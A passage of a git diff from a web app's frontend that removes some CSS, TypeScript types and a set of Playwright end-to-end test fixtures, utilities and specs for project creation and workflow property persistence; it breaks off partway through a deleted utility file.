+++ b/client/src/shared/styles/dropdownMenu.css
@@ -20,14 +20,3 @@
     @apply focus:!bg-surface-destructive-secondary;
     @apply focus:!text-content-destructive;
 }
-
-.dropdown-menu-item-destructive-disabled {
-    @apply dropdown-menu-item-base;
-    @apply !text-content-destructive-primary;
-    @apply !cursor-not-allowed;
-    @apply !opacity-50;
-    @apply hover:!bg-transparent;
-    @apply hover:!text-content-destructive-primary;
-    @apply focus:!bg-transparent;
-    @apply focus:!text-content-destructive-primary;
-}
diff --git a/client/src/shared/types.ts b/client/src/shared/types.ts
index 18f64513087..84c14fe7351 100644
--- a/client/src/shared/types.ts
+++ b/client/src/shared/types.ts
@@ -103,8 +103,6 @@ export type ClickedOperationType = {
 
 export type TabNameType = 'description' | 'clusterElements' | 'connection' | 'properties' | 'output';
 
-export type TabValueType = 'input' | 'output' | 'error' | 'logs';
-
 type ConditionDataType = {
     conditionCase: 'caseTrue' | 'caseFalse';
     conditionId: string;
@@ -159,7 +157,6 @@ export type NestedClusterRootComponentDefinitionType = {
 export type ClusterElementItemType = {
     clusterElements?: ClusterElementsType;
     clusterElementTypesCount?: number;
-    connections?: {[key: string]: ComponentConnectionType};
     label?: string;
     isNestedClusterRoot?: boolean;
     metadata?: {
diff --git a/client/src/styles/components.css b/client/src/styles/components.css
index 3ccaafcaa0d..3697f43de8a 100644
--- a/client/src/styles/components.css
+++ b/client/src/styles/components.css
@@ -150,7 +150,6 @@
         --surface-warning-secondary-hover: 55 97% 88%;
         --surface-warning-secondary-active: 53 98% 77%;
         --workflow-nodes-popover-component-menu-width: 330px;
-        --rdg-color-scheme: light;
     }
 
     .dark {
@@ -283,7 +282,6 @@
         --surface-warning-secondary: 45 93% 47%;
         --surface-warning-secondary-hover: 45 93% 47%;
         --surface-warning-secondary-active: 45 93% 47%;
-        --rdg-color-scheme: dark;
     }
 
     * {
diff --git a/client/test/playwright/README.md b/client/test/playwright/README.md
deleted file mode 100644
index 54422694422..00000000000
--- a/client/test/playwright/README.md
+++ /dev/null
@@ -1,185 +0,0 @@
-# Playwright Test Utilities and Fixtures
-
-This directory contains reusable utilities and fixtures for Playwright E2E tests, following the pattern where fixtures are independent and combined using `mergeTests` in test files.
-
-## Utilities
-
-### Authentication
-
-- **`utils/login.ts`**: Login/logout utilities
-    - `login(page, email, password, rememberMe?)`: Logs in a user
-    - `logout(page)`: Logs out the current user
-- **`utils/auth.ts`**: Authentication utilities
-    - `ensureAuthenticated(page)`: Ensures user is logged in (checks if already authenticated)
-
-### Projects and Workflows
-
-- **`utils/projects.ts`**: Project and workflow creation utilities
-    - `createProject(page, projectName?)`: Creates a new project and returns `{id, name}`
-        - `createWorkflow(page, projectId, workflowName?)`: Creates a workflow in a project and returns `{projectId, workflowId, workflowName}`
-        - `createProjectWithWorkflow(page, projectName?, workflowName?)`: Creates both project and workflow in one call
-
-## Fixtures
-
-Fixtures are **independent** and should be combined using `mergeTests` in test files. Each fixture provides specific fixtures that can be merged together.
-
-### Login Fixture
-
-Provides an authenticated page. This is a function:
-
-```typescript
-import {loginTest} from '../fixtures';
-
-// loginTest() returns a test object with authenticatedPage fixture
-```
-
-### Project Fixture
-
-Provides a pre-created project (automatically cleaned up after test):
-
-```typescript
-import {projectTest} from '../fixtures';
-
-// projectTest provides: project fixture
-// Requires: page (should be authenticated via loginTest when merged)
-```
-
-### Workflow Fixture
-
-Provides a pre-created workflow (automatically cleaned up after test):
-
-```typescript
-import {workflowTest} from '../fixtures';
-
-// workflowTest provides: workflow fixture
-// Requires: page and project (use with loginTest() and projectTest via mergeTests)
-```
-
-## Usage Pattern
-
-The key pattern is to use `mergeTests` at the top of your test file to combine independent fixtures:
-
-```typescript
-import {expect, mergeTests} from '@playwright/test';
-import {loginTest, projectTest, workflowTest} from '../fixtures';
-
-// Export merged test at the top level
-export const test = mergeTests(loginTest(), projectTest);
-
-test.describe('My Test Suite', () => {
-    test.beforeEach(async ({authenticatedPage}) => {
-        // Setup code
-    });
-
-    test('my test', async ({authenticatedPage, project}) => {
-        // Has authenticatedPage from loginTest() and project from projectTest
-        await authenticatedPage.goto(`/automation/projects/${project.id}`);
-    });
-});
-```
-
-## Usage Examples
-
-### Example 1: Test with Authentication Only
-
-```typescript
-import {expect, mergeTests} from '@playwright/test';
-import {loginTest} from '../fixtures';
-
-export const test = mergeTests(loginTest());
-
-test('test with authentication', async ({authenticatedPage}) => {
-    await authenticatedPage.goto('/some-page');
-    await expect(authenticatedPage).toHaveURL(/\/some-page/);
-});
-```
-
-### Example 2: Test with Authentication and Project
-
-```typescript
-import {expect, mergeTests} from '@playwright/test';
-import {loginTest, projectTest} from '../fixtures';
-
-export const test = mergeTests(loginTest(), projectTest);
-
-test('test with project', async ({authenticatedPage, project}) => {
-    await authenticatedPage.goto(`/automation/projects/${project.id}`);
-    await expect(authenticatedPage.getByText(project.name)).toBeVisible();
-});
-```
-
-### Example 3: Test with All Fixtures
-
-```typescript
-import {expect, mergeTests} from '@playwright/test';
-import {loginTest, projectTest, workflowTest} from '../fixtures';
-
-export const test = mergeTests(loginTest(), projectTest, workflowTest);
-
-test.describe('Workflow Tests', () => {
-    test('test workflow editor', async ({authenticatedPage, project, workflow}) => {
-        await authenticatedPage.goto(`/automation/projects/${project.id}/project-workflows/${workflow.workflowId}`);
-        await expect(authenticatedPage.getByText(workflow.workflowName)).toBeVisible();
-    });
-});
-```
-
-### Example 4: Custom Fixture with mergeTests
-
-```typescript
-import {expect, mergeTests, test as base} from '@playwright/test';
-import {loginTest, projectTest} from '../fixtures';
-
-// Create a custom fixture
-const customFixture = base.extend({
-    customData: async ({page}, use) => {
-        const data = {timestamp: Date.now(), value: 'test'};
-        await use(data);
-    },
-});
-
-// Merge custom fixture with others
-export const test = mergeTests(loginTest(), projectTest, customFixture);
-
-test('test with custom data', async ({authenticatedPage, project, customData}) => {
-    expect(customData.value).toBe('test');
-    await authenticatedPage.goto(`/automation/projects/${project.id}`);
-});
-```
-
-### Example 5: Using Utilities Directly (for creation tests)
-
-For tests that test creation flows themselves, use utilities directly:
-
-```typescript
-import {expect, test} from '@playwright/test';
-import {ensureAuthenticated} from '../utils/auth';
-import {createProject, createWorkflow} from '../utils/projects';
-
-test('should create a project', async ({page}) => {
-    await ensureAuthenticated(page);
-    const project = await createProject(page, 'My Project');
-    // Test creation logic
-    // Cleanup
-});
-```
-
-## Best Practices
-
-1. **Fixtures are independent** - Each fixture is standalone and doesn't extend others
-2. **Use `mergeTests` in test files** - Always combine fixtures using `mergeTests` at the top of test files
-3. **Export merged test** - Use `export const test = mergeTests(...)` pattern
-4. **`loginTest()` is a function** - Call it when merging: `mergeTests(loginTest(), ...)`
-5. **Use utilities for creation tests** - Tests that validate creation flows should use utilities directly
-6. **Fixtures auto-cleanup** - Resources created via fixtures are automatically cleaned up
-7. **No `.extend()` in test files** - Only use `.extend()` when creating custom fixtures within a test file
-
-## Fixture Architecture
-
-Fixtures are structured as:
-
-- **`loginTest()`** - Function that returns a test object with `authenticatedPage` fixture
-- **`projectTest`** - Independent test object with `project` fixture (requires authenticated page)
-- **`workflowTest`** - Independent test object with `workflow` fixture (requires project)
-
-All fixtures are independent and can be combined in any order via `mergeTests`.
diff --git a/client/test/playwright/fixtures/authenticated.ts b/client/test/playwright/fixtures/authenticated.ts
deleted file mode 100644
index 954fd14e24d..00000000000
--- a/client/test/playwright/fixtures/authenticated.ts
+++ /dev/null
@@ -1,22 +0,0 @@
-/* eslint-disable react-hooks/rules-of-hooks -- Playwright fixtures use 'use' callback, not React hooks */
-import {Page, test as base} from '@playwright/test';
-
-import {TEST_USER} from '../utils/constants';
-import {login} from '../utils/login';
-
-export type LoginFixturesType = {
-    authenticatedPage: Page;
-};
-
-/**
- * Login test fixture - logs in the user and provides authenticatedPage.
- */
-export function loginTest() {
-    return base.extend<LoginFixturesType>({
-        authenticatedPage: async ({page}, use) => {
-            await login(page, TEST_USER.email, TEST_USER.password);
-
-            await use(page);
-        },
-    });
-}
diff --git a/client/test/playwright/fixtures/index.ts b/client/test/playwright/fixtures/index.ts
deleted file mode 100644
index 90187d0727a..00000000000
--- a/client/test/playwright/fixtures/index.ts
+++ /dev/null
@@ -1,10 +0,0 @@
-export {loginTest} from './authenticated';
-export type {LoginFixturesType} from './authenticated';
-export {projectTest} from './project';
-export type {ProjectFixturesType} from './project';
-export {workflowTest} from './workflow';
-export type {WorkflowFixturesType} from './workflow';
-export {importWorkflowTest} from './workflowImport';
-export type {ImportWorkflowFixturesType} from './workflowImport';
-
-export {mergeTests} from '@playwright/test';
diff --git a/client/test/playwright/fixtures/project.ts b/client/test/playwright/fixtures/project.ts
deleted file mode 100644
index e297d790f98..00000000000
--- a/client/test/playwright/fixtures/project.ts
+++ /dev/null
@@ -1,28 +0,0 @@
-/* eslint-disable react-hooks/rules-of-hooks -- Playwright fixtures use 'use' callback, not React hooks */
-import {test as base} from '@playwright/test';
-
-import {ProjectsPage} from '../pages/projectsPage';
-import {ensureAuthenticated} from '../utils/auth';
-import {type TestProjectI, createProject} from '../utils/projectUtils';
-
-export type ProjectFixturesType = {
-    project: TestProjectI;
-};
-
-export const projectTest = base.extend<ProjectFixturesType>({
-    project: async ({page}, use) => {
-        await ensureAuthenticated(page);
-
-        const project = await createProject(page);
-
-        await use(project);
-
-        const projectsPage = new ProjectsPage(page);
-
-        try {
-            await projectsPage.deleteProject(project.id);
-        } catch (error) {
-            console.warn(`Failed to cleanup project ${project.id}:`, error);
-        }
-    },
-});
diff --git a/client/test/playwright/fixtures/workflow.ts b/client/test/playwright/fixtures/workflow.ts
deleted file mode 100644
index 3b677646d9b..00000000000
--- a/client/test/playwright/fixtures/workflow.ts
+++ /dev/null
@@ -1,17 +0,0 @@
-/* eslint-disable react-hooks/rules-of-hooks -- Playwright fixtures use 'use' callback, not React hooks */
-import {test as base} from '@playwright/test';
-
-import {type TestWorkflowI, createWorkflow} from '../utils/projectUtils';
-import {type ProjectFixturesType} from './project';
-
-export type WorkflowFixturesType = {
-    workflow: TestWorkflowI;
-};
-
-export const workflowTest = base.extend<WorkflowFixturesType & ProjectFixturesType>({
-    workflow: async ({page, project}, use) => {
-        const workflow = await createWorkflow(page, project.id);
-
-        await use(workflow);
-    },
-});
diff --git a/client/test/playwright/fixtures/workflowImport.ts b/client/test/playwright/fixtures/workflowImport.ts
deleted file mode 100644
index 202a50c89fe..00000000000
--- a/client/test/playwright/fixtures/workflowImport.ts
+++ /dev/null
@@ -1,18 +0,0 @@
-/* eslint-disable react-hooks/rules-of-hooks -- Playwright fixtures use 'use' callback, not React hooks */
-import {test as base} from '@playwright/test';
-
-import {SAMPLE_WORKFLOW_PATH} from '../utils/constants';
-import {type TestWorkflowI, importWorkflow} from '../utils/projectUtils';
-import {type ProjectFixturesType} from './project';
-
-export type ImportWorkflowFixturesType = {
-    workflow: TestWorkflowI;
-};
-
-export const importWorkflowTest = base.extend<ImportWorkflowFixturesType & ProjectFixturesType>({
-    workflow: async ({page, project}, use) => {
-        const workflow = await importWorkflow({page, projectId: project.id, workflowFilePath: SAMPLE_WORKFLOW_PATH});
-
-        await use(workflow);
-    },
-});
diff --git a/client/test/playwright/pages/projectsPage.ts b/client/test/playwright/pages/projectsPage.ts
index bc682a3d6e2..0c82c69da1d 100644
--- a/client/test/playwright/pages/projectsPage.ts
+++ b/client/test/playwright/pages/projectsPage.ts
@@ -52,20 +52,12 @@ export class ProjectsPage {
 
         const projectItem = this.page.getByTestId('project-item').filter({hasText: projectName}).first();
 
-        const projectId = await projectItem.getAttribute('aria-label');
-
-        if (!projectId) {
-            throw new Error(`Project ID not found for project name: ${projectName}`);
-        }
+        const projectId = (await projectItem.getAttribute('aria-label')) ?? projectName;
 
         return projectId;
     }
 
     async deleteProject(projectId: string): Promise<void> {
-        await this.page.goto('/automation/projects');
-
-        await this.waitForPageLoad();
-
         await this.page.waitForLoadState('domcontentloaded');
 
         const projectItem = this.page.getByLabel(projectId);
diff --git a/client/test/playwright/pages/workflowPage.ts b/client/test/playwright/pages/workflowPage.ts
deleted file mode 100644
index fa58620fb2e..00000000000
--- a/client/test/playwright/pages/workflowPage.ts
+++ /dev/null
@@ -1,56 +0,0 @@
-import {Page} from '@playwright/test';
-
-import {formatPropertyValue, getPropertyValue} from '../utils/workflowUtils';
-
-interface WorkflowDefinitionI {
-    tasks?: Array<{
-        name?: string;
-        parameters?: {
-            value?: Record<string, unknown>;
-        };
-    }>;
-}
-
-interface ExpectedPropertyValues {
-    Array: string;
-    Boolean: string;
-    Date: string;
-    DateTime: string;
-    Integer: string;
-    Number: string;
-    String: string;
-    Time: string;
-}
-
-export class WorkflowPage {
-    constructor(private readonly page: Page) {}
-
-    async goToWorkflowEditor(projectId: string, workflowId: string): Promise<void> {
-        await this.page.goto(`/automation/projects/${projectId}/project-workflows/${workflowId}`);
-
-        await this.page.waitForLoadState('domcontentloaded');
-
-        await this.page.waitForTimeout(2000);
-    }
-
-    static getExpectedPropertyValues(
-        workflowDefinition: WorkflowDefinitionI,
-        taskName: string
-    ): ExpectedPropertyValues {
-        const propertyNames = ['Array', 'Boolean', 'Date', 'DateTime', 'Integer', 'Number', 'String', 'Time'] as const;
-
-        const expectedValues = {} as ExpectedPropertyValues;
-
-        for (const propertyName of propertyNames) {
-            const propertyValue = getPropertyValue({
-                propertyName,
-                taskName,
-                workflowDefinition,
-            });
-
-            expectedValues[propertyName] = formatPropertyValue(propertyValue, propertyName);
-        }
-
-        return expectedValues;
-    }
-}
diff --git a/client/test/playwright/sampleWorkflow.json b/client/test/playwright/sampleWorkflow.json
deleted file mode 100644
index c25c5c2e3e5..00000000000
--- a/client/test/playwright/sampleWorkflow.json
+++ /dev/null
@@ -1,52 +0,0 @@
-{
-    "label": "Playwright Sample Workflow",
-    "description": "",
-    "inputs": [],
-    "triggers": [
-        {
-            "description": "",
-            "label": "Manual",
-            "name": "trigger_1",
-            "type": "manual/v1/manual"
-        }
-    ],
-    "tasks": [
-        {
-            "label": "Var",
-            "name": "var_1",
-            "parameters": {
-                "type": "OBJECT",
-                "value": {
-                    "Array": ["array foo"],
-                    "Boolean": true,
-                    "Date": "2026-01-27",
-                    "DateTime": "2026-01-27T15:13:33",
-                    "FileEntry": null,
-                    "Integer": 1337,
-                    "Number": 13.37,
-                    "Object": null,
-                    "String": "foo",
-                    "Time": "13:37:00"
-                }
-            },
-            "type": "var/v1/set",
-            "metadata": {
-                "ui": {
-                    "dynamicPropertyTypes": {
-                        "value.Array": "ARRAY",
-                        "value.Boolean": "BOOLEAN",
-                        "value.Date": "DATE",
-                        "value.DateTime": "DATE_TIME",
-                        "value.FileEntry": "FILE_ENTRY",
-                        "value.Integer": "INTEGER",
-                        "value.Number": "NUMBER",
-                        "value.Object": "OBJECT",
-                        "value.String": "STRING",
-                        "value.Time": "TIME",
-                        "value.Array[0]": "STRING"
-                    }
-                }
-            }
-        }
-    ]
-}
diff --git a/client/test/playwright/tests/projects/projects.spec.ts b/client/test/playwright/tests/projects/projects.spec.ts
index 192f1201035..df999909b46 100644
--- a/client/test/playwright/tests/projects/projects.spec.ts
+++ b/client/test/playwright/tests/projects/projects.spec.ts
@@ -1,10 +1,10 @@
 import {type Locator, expect, test} from '@playwright/test';
 
 import {ProjectsPage} from '../../pages/projectsPage';
-import {ensureAuthenticated} from '../../utils/auth';
 import {clickAndExpectToBeVisible} from '../../utils/clickAndExpectToBeVisible';
-import {ROUTES} from '../../utils/constants';
+import {ROUTES, TEST_USER} from '../../utils/constants';
 import getRandomString from '../../utils/getRandomString';
+import {login} from '../../utils/login';
 
 test.describe('Projects', () => {
     const randomString = getRandomString();
@@ -15,7 +15,7 @@ test.describe('Projects', () => {
     let projectsPage: ProjectsPage;
 
     test.beforeEach(async ({page}) => {
-        await ensureAuthenticated(page);
+        await login(page, TEST_USER.email, TEST_USER.password);
 
         projectsPage = new ProjectsPage(page);
 
diff --git a/client/test/playwright/tests/properties/propertyPersistence.spec.ts b/client/test/playwright/tests/properties/propertyPersistence.spec.ts
deleted file mode 100644
index 5bb2b75852a..00000000000
--- a/client/test/playwright/tests/properties/propertyPersistence.spec.ts
+++ /dev/null
@@ -1,356 +0,0 @@
-import {type Locator, type Page, expect, mergeTests} from '@playwright/test';
-
-import {importWorkflowTest, loginTest, projectTest} from '../../fixtures';
-import {WorkflowPage} from '../../pages/workflowPage';
-import sampleWorkflow from '../../sampleWorkflow.json';
-import {clickAndExpectToBeVisible} from '../../utils/clickAndExpectToBeVisible';
-import {type TestProjectI, type TestWorkflowI} from '../../utils/projectUtils';
-import {getWorkflowDefinition, openPropertiesTab, reopenConfigurationPanel} from '../../utils/workflowUtils';
-
-export const test = mergeTests(loginTest(), projectTest, importWorkflowTest);
-
-test.describe('Reading from Workflow Definition', () => {
-    let configurationPanel: Locator;
-
-    test('should import the sample workflow and verify all properties are rendered', async ({
-        authenticatedPage,
-        project,
-        workflow,
-    }) => {
-        await test.step('Navigate to workflow editor and wait for load', async () => {
-            const workflowPage = new WorkflowPage(authenticatedPage);
-
-            await workflowPage.goToWorkflowEditor(project.id, workflow.workflowId);
-        });
-
-        await test.step('Open var_1 node configuration panel', async () => {
-            const varNode = authenticatedPage.getByLabel('var_1 node');
-
-            configurationPanel = authenticatedPage.getByLabel('var_1 component configuration panel');
-
-            await clickAndExpectToBeVisible({
-                target: configurationPanel,
-                trigger: varNode,
-            });
-        });
-
-        await test.step('Verify all properties are rendered', async () => {
-            const propertiesTabButton = configurationPanel.getByRole('button', {name: 'Properties'});
-
-            const typeProperty = configurationPanel.getByLabel('type property');
-
-            await clickAndExpectToBeVisible({
-                target: typeProperty,
-                trigger: propertiesTabButton,
-            });
-
-            const valueProperty = configurationPanel.getByLabel('value property');
-
-            const valuePropertyList = valueProperty.getByRole('list', {name: 'value object properties'});
-
-            await expect(valuePropertyList).toBeVisible();
-
-            const valuePropertyItems = valuePropertyList.getByRole('listitem');
-
-            await expect(valuePropertyItems).toHaveCount(11);
-        });
-
-        await test.step('Verify properties with default values are correctly rendered', async () => {
-            const expectedValues = WorkflowPage.getExpectedPropertyValues(sampleWorkflow, 'var_1');
-
-            await test.step('string property', async () => {
-                const stringProperty = configurationPanel.getByLabel('String property');
-
-                const stringInput = stringProperty.getByRole('textbox');
-
-                await expect(stringInput).toHaveText(expectedValues.String);
-            });
-
-            await test.step('integer property', async () => {
-                const integerProperty = configurationPanel.getByLabel('Integer property');
-
-                const integerInput = integerProperty.getByRole('textbox');
-
-                await expect(integerInput).toHaveValue(expectedValues.Integer);
-            });
-
-            await test.step('number property', async () => {
-                const numberProperty = configurationPanel.getByLabel('Number property');
-
-                const numberInput = numberProperty.getByRole('textbox');
-
-                await expect(numberInput).toHaveValue(expectedValues.Number);
-            });
-
-            await test.step('boolean property', async () => {
-                const booleanProperty = configurationPanel.getByLabel('Boolean property');
-
-                const booleanSelect = booleanProperty.getByRole('combobox');
-
-                await expect(booleanSelect).toHaveText(expectedValues.Boolean);
-            });
-
-            await test.step('date property', async () => {
-                const dateProperty = configurationPanel.getByLabel('Date property');
-
-                const dateInput = dateProperty.locator('input[type="date"]');
-
-                await expect(dateInput).toHaveValue(expectedValues.Date);
-            });
-
-            await test.step('date time property', async () => {
-                const dateTimeProperty = configurationPanel.getByLabel('DateTime property');
-
-                const dateTimeInput = dateTimeProperty.locator('input[type="datetime-local"]');
-
-                await expect(dateTimeInput).toHaveValue(expectedValues.DateTime);
-            });
-
-            await test.step('time property', async () => {
-                const timeProperty = configurationPanel.getByLabel('Time property');
-
-                const timeInput = timeProperty.locator('input[type="time"]');
-
-                await expect(timeInput).toHaveValue(expectedValues.Time);
-            });
-
-            await test.step('array property', async () => {
-                const arrayProperty = configurationPanel.getByLabel('Array property');
-
-                const arrayItem = arrayProperty.getByLabel('Array property item at index 0');
-
-                await expect(arrayItem).toBeVisible();
-
-                const arrayItemInput = arrayItem.getByRole('textbox');
-
-                await expect(arrayItemInput).toHaveText(expectedValues.Array);
-            });
-        });
-    });
-});
-
-test.describe('Saving to Workflow Definition', () => {
-    let configurationPanel: Locator;
-    let authenticatedPage: Page;
-    let project: TestProjectI;
-    let workflow: TestWorkflowI;
-    let expectedPropertyValue: string | number | boolean | string[] | undefined;
-    let expectedPropertyName: string | undefined;
-    let expectedPropertyLabel: string | undefined;
-    let expectedPropertyType: string;
-
-    test.beforeEach(async ({authenticatedPage: page, project: testProject, workflow: testWorkflow}) => {
-        authenticatedPage = page;
-        project = testProject;
-        workflow = testWorkflow;
-        expectedPropertyValue = undefined;
-        expectedPropertyName = undefined;
-        expectedPropertyLabel = undefined;
-
-        await test.step('Navigate to workflow editor and wait for load', async () => {
-            const workflowPage = new WorkflowPage(authenticatedPage);
-
-            await workflowPage.goToWorkflowEditor(project.id, workflow.workflowId);
-        });
-
-        await test.step('Open var_1 node configuration panel', async () => {
-            const varNode = authenticatedPage.getByLabel('var_1 node');
-
-            configurationPanel = authenticatedPage.getByLabel('var_1 component configuration panel');
-
-            await clickAndExpectToBeVisible({
-                target: configurationPanel,
-                trigger: varNode,
-            });
-        });
-
-        await test.step('Switch to the Properties tab', async () => {
-            const propertiesTabButton = configurationPanel.getByRole('button', {name: 'Properties'});
-
-            const typeProperty = configurationPanel.getByLabel('type property');
-
-            await clickAndExpectToBeVisible({
-                target: typeProperty,
-                trigger: propertiesTabButton,
-            });
-        });
-    });
-
-    test.afterEach(async () => {
-        if (
-            expectedPropertyValue !== undefined &&
-            expectedPropertyName !== undefined &&
-            expectedPropertyLabel !== undefined
-        ) {
-            await test.step('Verify workflow definition is updated', async () => {
-                const workflowDefinition = await getWorkflowDefinition(authenticatedPage, workflow.workflowId);
-
-                expect(workflowDefinition.tasks?.[0]?.parameters?.value?.[expectedPropertyName!]).toEqual(
-                    expectedPropertyValue
-                );
-            });
-
-            await test.step('Reload page and verify value persists', async () => {
-                await authenticatedPage.reload();
-
-                await authenticatedPage.waitForLoadState('domcontentloaded');
-
-                await authenticatedPage.waitForTimeout(2000);
-
-                configurationPanel = await reopenConfigurationPanel(authenticatedPage);
-
-                await openPropertiesTab(configurationPanel);
-
-                const property = configurationPanel.getByLabel(expectedPropertyLabel!, {exact: true});
-
-                const propertyInput = property.getByRole('textbox');
-
-                if (expectedPropertyName === 'String') {
-                    await expect(propertyInput).toHaveText(expectedPropertyValue!.toString());
-                } else if (expectedPropertyName === 'Boolean') {
-                    const booleanCombobox = property.getByRole('combobox');
-
-                    await expect(booleanCombobox).toHaveText(expectedPropertyValue ? 'True' : 'False');
-                } else if (Array.isArray(expectedPropertyValue)) {
-                    const propertyInputValue = await propertyInput.innerText();
-
-                    expect(expectedPropertyType).toBe('object');
-                    expect(propertyInputValue).toBe(expectedPropertyValue[0].toString());
-                } else {
-                    const propertyInputValue = await propertyInput.inputValue();
-
-                    expect(expectedPropertyType).toBe(typeof expectedPropertyValue);
-                    expect(propertyInputValue).toBe(expectedPropertyValue!.toString());
-                }
-            });
-        }
-    });
-
-    test('should save basic STRING property', async () => {
-        const stringProperty = configurationPanel.getByLabel('String property');
-
-        const stringInput = stringProperty.getByRole('textbox');
-
-        const testValue = 'test value';
-
-        await stringInput.fill(testValue);
-
-        expectedPropertyType = typeof testValue;
-        expectedPropertyValue = testValue;
-        expectedPropertyName = 'String';
-        expectedPropertyLabel = 'String property';
-    });
-
-    test('should save basic INTEGER property', async () => {
-        const integerProperty = configurationPanel.getByLabel('Integer property');
-
-        const integerInput = integerProperty.getByRole('textbox');
-
-        const testValue = 123;
-
-        await integerInput.fill(testValue.toString());
-
-        expectedPropertyType = typeof testValue;
-        expectedPropertyValue = testValue;
-        expectedPropertyName = 'Integer';
-        expectedPropertyLabel = 'Integer property';
-    });
-
-    test('should save basic NUMBER property', async () => {
-        const numberProperty = configurationPanel.getByLabel('Number property');
-
-        const numberInput = numberProperty.getByRole('textbox');
-
-        const testValue = 123.45;
-
-        await numberInput.fill(testValue.toString());
-
-        expectedPropertyType = typeof testValue;
-        expectedPropertyValue = testValue;
-        expectedPropertyName = 'Number';
-        expectedPropertyLabel = 'Number property';
-    });
-
-    test('should save basic BOOLEAN property', async () => {
-        const booleanProperty = configurationPanel.getByLabel('Boolean property');
-
-        const booleanSelect = booleanProperty.getByLabel('Select');
-        const booleanSelectOptions = authenticatedPage.getByLabel('Select options');
-
-        await clickAndExpectToBeVisible({
-            target: booleanSelectOptions,
-            trigger: booleanSelect,
-        });
-
-        const testValue = false;
-
-        await booleanSelectOptions.getByRole('option', {name: testValue ? 'True' : 'False'}).click();
-
-        expectedPropertyType = typeof testValue;
-        expectedPropertyValue = testValue;
-        expectedPropertyName = 'Boolean';
-        expectedPropertyLabel = 'Boolean property';
-    });
-
-    test('should save basic DATE property', async () => {
-        const dateProperty = configurationPanel.getByLabel('Date property');
-
-        const dateInput = dateProperty.getByRole('textbox');
-
-        const testValue = '2026-01-01';
-
-        await dateInput.fill(testValue);
-
-        expectedPropertyType = typeof testValue;
-        expectedPropertyValue = testValue;
-        expectedPropertyName = 'Date';
-        expectedPropertyLabel = 'Date property';
-    });
-
-    test('should save basic DATE_TIME property', async () => {
-        const dateTimeProperty = configurationPanel.getByLabel('DateTime property');
-
-        const dateTimeInput = dateTimeProperty.getByRole('textbox');
-
-        const testValue = '2026-01-01T00:00';
-
-        await dateTimeInput.fill(testValue);
-
-        expectedPropertyType = typeof testValue;
-        expectedPropertyValue = testValue;
-        expectedPropertyName = 'DateTime';
-        expectedPropertyLabel = 'DateTime property';
-    });
-
-    test('should save basic TIME property', async () => {
-        const timeProperty = configurationPanel.getByLabel('Time property', {exact: true});
-
-        const timeInput = timeProperty.getByRole('textbox');
-
-        const testValue = '00:00';
-
-        await timeInput.fill(testValue);
-
-        expectedPropertyType = typeof testValue;
-        expectedPropertyValue = testValue;
-        expectedPropertyName = 'Time';
-        expectedPropertyLabel = 'Time property';
-    });
-
-    test('should save ARRAY STRING subproperty', async () => {
-        const arrayProperty = configurationPanel.getByLabel('Array property');
-
-        const arrayItem = arrayProperty.getByLabel('Array property item at index 0');
-
-        const arrayItemInput = arrayItem.getByRole('textbox');
-
-        const testValue = 'test value';
-
-        await arrayItemInput.fill(testValue);
-
-        expectedPropertyType = 'object';
-        expectedPropertyValue = [testValue];
-        expectedPropertyName = 'Array';
-        expectedPropertyLabel = 'Array property';
-    });
-});
diff --git a/client/test/playwright/tests/workflow/workflow.spec.ts b/client/test/playwright/tests/workflow/workflow.spec.ts
deleted file mode 100644
index 760afa9a84e..00000000000
--- a/client/test/playwright/tests/workflow/workflow.spec.ts
+++ /dev/null
@@ -1,37 +0,0 @@
-import {expect, mergeTests} from '@playwright/test';
-
-import {loginTest, projectTest, workflowTest} from '../../fixtures';
-
-export const test = mergeTests(loginTest(), projectTest, workflowTest);
-
-test.describe('Workflow Editor', () => {
-    test('should open trigger configuration panel when clicking Manual trigger', async ({
-        authenticatedPage,
-        project,
-        workflow,
-    }) => {
-        await test.step('Navigate to workflow editor', async () => {
-            await authenticatedPage.goto(`/automation/projects/${project.id}/project-workflows/${workflow.workflowId}`);
-        });
-
-        await test.step('Wait for workflow editor to load', async () => {
-            await authenticatedPage.waitForLoadState('domcontentloaded');
-
-            await authenticatedPage.waitForTimeout(2000);
-        });
-
-        await test.step('Click on the Manual trigger node', async () => {
-            const manualTriggerNode = authenticatedPage.getByLabel('trigger_1 node');
-
-            await expect(manualTriggerNode).toBeVisible({timeout: 10000});
-
-            await manualTriggerNode.click();
-        });
-
-        await test.step('Assert that trigger configuration panel exists', async () => {
-            const triggerPanel = authenticatedPage.getByLabel('trigger_1 component configuration panel');
-
-            await expect(triggerPanel).toBeVisible({timeout: 10000});
-        });
-    });
-});
diff --git a/client/test/playwright/utils/auth.ts b/client/test/playwright/utils/auth.ts
deleted file mode 100644
index 6991ee96449..00000000000
--- a/client/test/playwright/utils/auth.ts
+++ /dev/null
@@ -1,19 +0,0 @@
-import {Page} from '@playwright/test';
-
-import {TEST_USER} from './constants';
-import {login} from './login';
-
-/**
- * Ensures user is logged in. If already authenticated, does nothing.
- * Useful for utilities that need authentication but don't want to fail if already logged in.
- */
-export async function ensureAuthenticated(page: Page): Promise<void> {
-    await page.goto('/');
-    await page.waitForTimeout(1000);
-
-    if (!page.url().includes('/login')) {
-        return;
-    }
-
-    await login(page, TEST_USER.email, TEST_USER.password);
-}
diff --git a/client/test/playwright/utils/constants.ts b/client/test/playwright/utils/constants.ts
index 327f7aae27e..1f420e97aae 100644
--- a/client/test/playwright/utils/constants.ts
+++ b/client/test/playwright/utils/constants.ts
@@ -14,7 +14,3 @@ export const ROUTES = {
         `/automation/projects/${projectId}/project-workflows/${workflowId}`,
     projects: '/automation/projects',
 } as const;
-
-export const SAMPLE_WORKFLOW_PATH = 'test/playwright/sampleWorkflow.json';
-
-export const SAMPLE_WORKFLOW_NAME = 'Playwright Sample Workflow';
diff --git a/client/test/playwright/utils/projectUtils.ts b/client/test/playwright/utils/projectUtils.ts
deleted file mode 100644
index 0b7ee39932e..00000000000
--- a/client/test/playwright/utils/projectUtils.ts
+++ /dev/null
@@ -1,127 +0,0 @@
-import {Page, expect} from '@playwright/test';
-
-import {ProjectsPage} from '../pages/projectsPage';
-import {clickAndExpectToBeVisible} from './clickAndExpectToBeVisible';
-import {SAMPLE_WORKFLOW_NAME} from './constants';
-import getRandomString from './getRandomString';
-
-export interface TestProjectI {
-    id: string;
-    name: string;
-}
-
-export interface TestWorkflowI {
-    projectId: string;
-    workflowId: string;
-    workflowName: string;
-}
-
-export async function createProject(page: Page, projectName?: string): Promise<TestProjectI> {
-    const name = projectName || `project_${getRandomString()}`;
-
-    const projectsPage = new ProjectsPage(page);
-
-    await page.goto('/automation/projects');
-
-    await projectsPage.waitForPageLoad();
-
